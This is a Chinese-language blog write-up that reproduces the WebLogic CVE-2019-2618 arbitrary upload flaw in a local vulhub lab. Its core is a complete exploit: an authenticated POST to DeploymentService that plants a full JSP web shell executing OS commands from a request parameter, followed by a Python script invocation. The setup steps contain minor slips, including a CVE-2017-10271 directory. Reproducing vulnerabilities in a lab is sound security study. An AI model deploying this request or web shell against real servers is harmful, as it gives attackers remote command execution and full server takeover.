CVE2019-2618weblogic远程代码执行

26
Apr

CVE2019-2618weblogic远程代码执行


环境搭建

安装Docker

gedit /etc/apt/sources.list 更新源
apt-get uodate 更新
apt-get install docker-engine 直接用apt安装docker
systemctl start docker开启docker
docker 出现以下表示docker安装成功

安装Docker-compose

pip install docker-compose

安装vulhub

完成安装docker和docker-compose后,拉取Vulhub到本地任意目录:
git clone https://github.com/vulhub/vulhub.git

启动测试环境

cd vulhub/weblogic/CVE-2017-10271
docker-compose up -d

等待一段时间,访问本地127.0.0.1:7001
显示404页面 说明weblogic已成功启动


漏洞复现

漏洞前提是需要先获取 weblogic的账号密码

Name:weblogic  
Password:Oracle@123

发送如下数据包,成功上传shell.jsp木马文件

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 127.0.0.1:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: Jas502n
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

 <%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

访问shell地址:
http://127.0.0.1:7001/bea_wls_internal/shell.jsp
可以直接执行系统命令

集成为python脚本使用:
python cve-2019-2618.py http://127.0.0.1:7001 weblogic Oracle@123

同样成功上传shell1.jsp木马文件,可直接执行系统命令


漏洞分析

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口
该接口支持向服务器上传任意文件
攻击者突破了OAM(Oracle Access Management)认证
设置wl_request_type参数为app_upload
构造文件上传格式的POST请求包
上传jsp木马文件,进而可以获得整个服务器的权限。


打包环境

docker ps 查看当前镜像
docker save -o weblogic.tar vuln/weblogic 打包成weblogic.tar存放至当前目录

添加新评论